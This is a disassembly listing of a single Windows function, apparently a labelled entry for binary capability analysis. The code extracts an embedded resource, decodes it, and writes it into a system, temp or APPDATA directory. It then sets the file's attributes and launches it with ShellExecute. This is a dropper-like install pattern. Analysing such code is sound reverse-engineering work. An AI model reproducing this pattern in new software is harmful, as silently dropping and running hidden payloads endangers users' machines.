Function at 0x40135a
Capabilities:
Extract resource via kernel32 functions
Get common file path
Get file size
Query environment variable
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
push 0x1000
push 0x403c84
call sub.kernel32.dll_GetSystemDirectoryA
push 0x403c84
call dword [0x4106d4]
push 0x1000
push 0x404c84
call sub.kernel32.dll_GetWindowsDirectoryA
push 0x404c84
call dword [0x4106d4]
push 0x405c84
push 0x1000
call sub.kernel32.dll_GetTempPathA
push 0x405c84
call dword [0x4106d4]
push 0x200
push 0x403a60
push 0
call sub.kernel32.dll_GetModuleFileNameA
push 0x403a60
call dword [0x4106d0]
mov byte [eax], 0
push 0x1000
push 0x407c84
push str.APPDATA
call sub.kernel32.dll_GetEnvironmentVariableA
push 0x407c84
call dword [0x4106d4]
push 1
push 7
push 0x408c84
push 0
call dword [0x4106c8]
push 0x408c84
call dword [0x4106d4]
push 1
push 0x10
push 0x409c84
push 0
call dword [0x4106c8]
push 0x409c84
call dword [0x4106d4]
call fcn.00401907
cmp dword [0x410684], 1
jne 0x401438
call fcn.004011c4
call fcn.00401abe
mov ebx, dword [0x410688]
xor ecx, ecx
inc ecx
push ecx
push 0xa
push ecx
push 0
call sub.kernel32.dll_FindResourceA
or eax, eax
jne 0x40145a
jmp 0x40187e
mov dword [0x403c74], eax
push eax
push 0
call sub.kernel32.dll_SizeofResource
or eax, eax
jne 0x401470
jmp 0x40187e
mov dword [0x403c78], eax
push dword [0x403c74]
push 0
call sub.kernel32.dll_LoadResource
or eax, eax
jne 0x40148b
jmp 0x40187e
mov dword [0x403c7c], eax
push eax
call sub.kernel32.dll_LockResource
or eax, eax
jne 0x40149f
jmp 0x40187e
mov dword [0x403c80], eax
push dword [0x403c78]
push 0x40
call sub.kernel32.dll_GlobalAlloc
or eax, eax
jne 0x4014ba
jmp 0x40187e
mov dword [0x4106ac], eax
mov eax, dword [0x403c80]
mov ecx, dword [eax]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [eax + 4]
mov dword [ebp - 0x20], ecx
add eax, 8
mov ecx, dword [0x403c78]
sub ecx, 8
push ecx
push eax
push dword [0x4106ac]
call sub.kernel32.dll_RtlMoveMemory
push dword [0x403c78]
push dword [0x4106ac]
call fcn.00401a90
push dword [ebp - 0x20]
push 0x40
call sub.kernel32.dll_GlobalAlloc
or eax, eax
jne 0x40150c
jmp 0x40187e
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x2c], 0
jne 0x401528
push dword [ebp - 0x20]
push dword [0x4106ac]
push dword [ebp - 0x24]
call sub.kernel32.dll_RtlMoveMemory
jmp 0x401549
lea eax, [ebp - 0x28]
push eax
mov eax, dword [0x403c78]
sub eax, 8
push eax
push dword [0x4106ac]
push dword [ebp - 0x20]
push dword [ebp - 0x24]
push 2
call dword [0x4106ec]
push dword [0x4106ac]
call sub.kernel32.dll_GlobalFree
mov eax, dword [ebx]
add ebx, 4
push eax
push eax
push ebx
push 0x403660
call sub.kernel32.dll_lstrcpynA
pop eax
add ebx, eax
mov eax, dword [ebx]
mov dword [ebp - 4], eax
add ebx, 4
mov eax, dword [ebx]
mov dword [ebp - 8], eax
add ebx, 4
mov eax, dword [ebx]
mov dword [ebp - 0xc], eax
add ebx, 4
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
add ebx, 4
mov eax, dword [ebx]
mov dword [ebp - 0x14], eax
add ebx, 4
mov eax, dword [ebx]
mov dword [ebp - 0x18], eax
add ebx, 4
cmp eax, 0
jbe 0x4015b4
push ebx
push 0x40334d
call sub.kernel32.dll_lstrcpyA
push ebx
call sub.kernel32.dll_lstrlenA
add ebx, eax
add ebx, 1
mov eax, dword [ebx]
mov dword [ebp - 0x1c], eax
add ebx, 4
cmp eax, 0
jbe 0x4015d7
push ebx
push 0x40324d
call sub.kernel32.dll_lstrcpyA
push ebx
call sub.kernel32.dll_lstrlenA
add ebx, eax
add ebx, 1
mov eax, dword [ebp - 4]
or eax, eax
jne 0x4015e6
lea eax, [0x403c84]
jmp 0x40163f
cmp eax, 1
jne 0x4015f3
lea eax, [0x404c84]
jmp 0x40163f
cmp eax, 2
jne 0x401600
lea eax, [0x405c84]
jmp 0x40163f
cmp eax, 3
jne 0x40160d
lea eax, [0x403a60]
jmp 0x40163f
cmp eax, 4
jne 0x40161a
lea eax, [0x407c84]
jmp 0x40163f
cmp eax, 5
jne 0x401627
lea eax, [0x408c84]
jmp 0x40163f
cmp eax, 6
jne 0x401634
lea eax, [0x409c84]
jmp 0x40163f
cmp eax, 0xffffffff
jne 0x40163f
lea eax, [0x40334d]
mov dword [0x4106b4], eax
push dword [0x4106b4]
push 0x406c84
call sub.kernel32.dll_lstrcpyA
push 0x406c84
call dword [0x4106d4]
push 0x403660
push 0x406c84
call sub.kernel32.dll_lstrcatA
cmp dword [0x41069c], 2
jne 0x401692
pop ecx
mov eax, ecx
push ecx
cmp eax, dword [0x4106a8]
jne 0x401692
push 0x406c84
push 0x40ac84
call sub.kernel32.dll_lstrcpyA
push 0
push pe_nt_image_headers32
push 2
push 0
push 3
push 0xc0000000
push 0x406c84
call sub.kernel32.dll_CreateFileA
mov dword [0x4106b8], eax
push 0
push 0x4106bc
push dword [ebp - 0x20]
push dword [ebp - 0x24]
push dword [0x4106b8]
call sub.kernel32.dll_WriteFile
cmp dword [0x41069c], 2
jne 0x4017cd
pop ecx
mov eax, ecx
push ecx
cmp eax, dword [0x4106a8]
jne 0x4017cd
cmp dword [0x4106a0], 1
jne 0x401746
mov eax, dword [0x4106a4]
mov ecx, dword [ebp - 0x20]
cmp ecx, eax
jae 0x4017cd
sub eax, ecx
mov dword [ebp - 0x30], eax
push dword [ebp - 0x30]
push 8
push dword [0x403c70]
call sub.kernel32.dll_HeapAlloc
mov dword [ebp - 0x34], eax
push 0
push 0x4106bc
push dword [ebp - 0x30]
push dword [ebp - 0x34]
push dword [0x4106b8]
call sub.kernel32.dll_WriteFile
push dword [ebp - 0x34]
push 0
push dword [0x403c70]
call sub.kernel32.dll_HeapFree
jmp 0x4017cd
cmp dword [0x4106a0], 0
jne 0x4017cd
push 0
push pe_nt_image_headers32
push 3
push 0
push 1
push 0x80000000
push 0x40bc84
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 0x38], eax
push 0
push dword [ebp - 0x38]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 0x3c], eax
push dword [ebp - 0x38]
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x20]
cmp eax, ecx
jbe 0x4017cd
sub eax, ecx
mov dword [ebp - 0x30], eax
push dword [ebp - 0x30]
push 8
push dword [0x403c70]
call sub.kernel32.dll_HeapAlloc
mov dword [ebp - 0x34], eax
push 0
push 0x4106bc
push dword [ebp - 0x30]
push dword [ebp - 0x34]
push dword [0x4106b8]
call sub.kernel32.dll_WriteFile
push dword [ebp - 0x34]
push 0
push dword [0x403c70]
call sub.kernel32.dll_HeapFree
push dword [0x4106b8]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0x24]
call sub.kernel32.dll_GlobalFree
push dword [ebp - 8]
push 0x406c84
call sub.kernel32.dll_SetFileAttributesA
cmp dword [ebp - 0x14], 1
jne 0x4017fd
push 0x406c84
call fcn.004012f7
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x401866
mov eax, dword [ebp - 0xc]
cmp eax, 1
jne 0x401810
push 5
jmp 0x401824
cmp eax, 2
jne 0x401819
push 0
jmp 0x401824
cmp eax, 3
jne 0x401822
push 3
jmp 0x401824
push 6
push 0x406c84
push 0x403860
call sub.kernel32.dll_lstrcpyA
push 0x403860
call sub.shlwapi.dll_PathFindFileNameA
mov byte [eax], 0
push 0x403860
cmp dword [ebp - 0x1c], 0
jbe 0x401852
push 0x40324d
jmp 0x401854
push 0
push 0x406c84
push str.open
push 0
call dword [0x4106c4]
push dword [0x403c7c]
call sub.kernel32.dll_FreeResource
pop ecx
cmp ecx, dword [0x4106b0]
jl 0x401445
cmp dword [0x41069c], 1
jne 0x40188e
call fcn.00401157
jmp 0x40189c
cmp dword [0x41069c], 2
jne 0x40189c
call fcn.004018a3
push 0
call sub.kernel32.dll_ExitProcess